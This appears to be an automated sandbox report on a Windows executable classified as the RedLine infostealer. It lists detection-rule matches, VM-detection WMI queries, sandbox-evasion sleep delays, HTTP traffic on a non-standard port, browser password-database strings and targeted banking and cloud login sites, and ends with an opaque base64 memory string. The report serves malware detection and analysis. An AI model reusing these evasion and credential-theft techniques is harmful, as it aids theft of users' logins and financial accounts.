Source: EpCrfIUgyF.exe, 00000000.00000002.2210909974.000000000162E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs EpCrfIUgyF.exe
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs EpCrfIUgyF.exe
Source: EpCrfIUgyF.exe, 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs EpCrfIUgyF.exe
Source: EpCrfIUgyF.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs EpCrfIUgyF.exe

Source: EpCrfIUgyF.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: EpCrfIUgyF.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: EpCrfIUgyF.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.EpCrfIUgyF.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.EpCrfIUgyF.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: EpCrfIUgyF.exe PID: 4024, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/45@1/1

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

File created: C:\Users\user\AppData\Local\Temp\tmp6482.tmp

Jump to behavior

Source: EpCrfIUgyF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: EpCrfIUgyF.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000383E000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2218157705.000000000873A000.00000004.00000020.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000038B4000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000392A000.00000004.00000800.00020000.00000000.sdmp, tmp29EC.tmp.0.dr, tmp8317.tmp.0.dr, tmp833A.tmp.0.dr, tmpF30B.tmp.0.dr, tmp2A0D.tmp.0.dr, tmp29FC.tmp.0.dr, tmpF2FA.tmp.0.dr, tmp834B.tmp.0.dr, tmp8339.tmp.0.dr, tmp8328.tmp.0.dr, tmp8338.tmp.0.dr, tmp29DB.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: EpCrfIUgyF.exe	ReversingLabs: Detection: 86%
Source: EpCrfIUgyF.exe	Virustotal: Detection: 70%

Source: unknown	Process created: C:\Users\user\Desktop\EpCrfIUgyF.exe "C:\Users\user\Desktop\EpCrfIUgyF.exe"
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: EpCrfIUgyF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: EpCrfIUgyF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: EpCrfIUgyF.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186E0FF push ss; retn 0005h	0_2_0186E102
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_01869AC5 push esp; retf	0_2_01869AD9
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_01869AFD push esp; retf	0_2_01869AD9
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186BFA4 push esp; ret	0_2_0186BF66
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186BFA4 pushfd ; ret	0_2_0186BFAE
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186BFB0 pushad ; ret	0_2_0186BF72
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186BFB0 push esp; ret	0_2_0186BFBA
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186BFDC pushfd ; ret	0_2_0186C01A
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186BF57 pushfd ; ret	0_2_0186BFAE
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186BF57 pushad ; ret	0_2_0186BFCA
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C2E932 push es; ret	0_2_06C2E940
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C21810 push es; ret	0_2_06C21820

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49702

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Memory allocated: 1860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Memory allocated: 3350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Memory allocated: 5350000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Window / User API: threadDelayed 2294			Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Window / User API: threadDelayed 5590			Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe TID: 6732	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe TID: 3320	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe TID: 6500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: tmp973A.tmp.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: tmp973A.tmp.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: tmp973A.tmp.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: tmp973A.tmp.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: tmp973A.tmp.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: tmp973A.tmp.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: tmp973A.tmp.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: EpCrfIUgyF.exe, 00000000.00000002.2210909974.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll--
Source: tmp973A.tmp.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: tmp973A.tmp.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: tmp973A.tmp.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: tmp973A.tmp.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000360C000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003867000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000034B2000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003527000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033E1000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000038DD000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000359A000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000367F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: a+gZHWRMVWxqhmGkwPDYyjKMCw0Og3WVeEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6nrkdzDfsQ7pfwBivJDdeBjyC8ZBrYMHeatMrX4SJ1l2vEDg/GZZwN3qvaQEOk1nsYI0nQhADMY/hZsIxYmq3ilFF3yHgGzY6tEzFmBea/UBzFhAmYb1oqHrA2HYnHoIDc0qDg5jN/iSm+UGwHYbQqqkRJVpdhCsWfEsDQs2YatlmgMvGsygRH9PIZM241n1Wg2QJriGdD15v8AEBGUz5wmlUAhSdeuRka5XGneIZTmGpDHsAMQJpeyqP8xYFGCRUAjTnqs8pnAw7ZfJaRM+v+EFLwrtaPnqkMBbgxavDBYWANPixOUg4B+VzjJUjJYCBsUJclzNAchyM4pexDM02OhsoxyzrVD0C6Arsg91oEjxRVPKLcNQkNKVbxTCUW6soC2egIZoCPA7t4NFXTGOgK4Ztqmq9iAIBoyJ0taxTdWMw6zUbRFVnX0UrMS8+qbjpa49lGwqehC3MjgPLqrkBUFpyDPwpFUfupRlk6QW9NIcWAwPgjCgxdK6okaC1DF0K1ohFZDl5jASmKR3itQzUXpUraHaACX6vQ/9XAsTV4DSBo7dk3QZrlT5uo4dswPOpnsJUzg7nmNYtWoEgESZWcUTH2xOwuFIKgJgfVnHTK+JLmAb/RowJPMKhAsCv3xIKp3A3J0bIrT6Kneikg7dvk+GJmkHFttaJEguSLSv129ueZxPU8u/jjbOh58SbK79gHC6fbyHtiXugGa2piEQXxG+bmG0Cus4t/nq2zXfIR5aooh8B19rBJQYmQ20FEfz4uFqfTRmf/+lM6Ex746uEtS7v0ouFUMm83c8HpZ5PQzRdxuv47EQAZ9PEP/ZL6ecyVbL+8hOSJm6+yF+1A6ySN83i+WdwHy5TP6AGa54yNOQDMt0K/OHXfg+kqThLIfk6QFsLDCjZdpZTGOzjUsCOwZe5C6Gi8Q8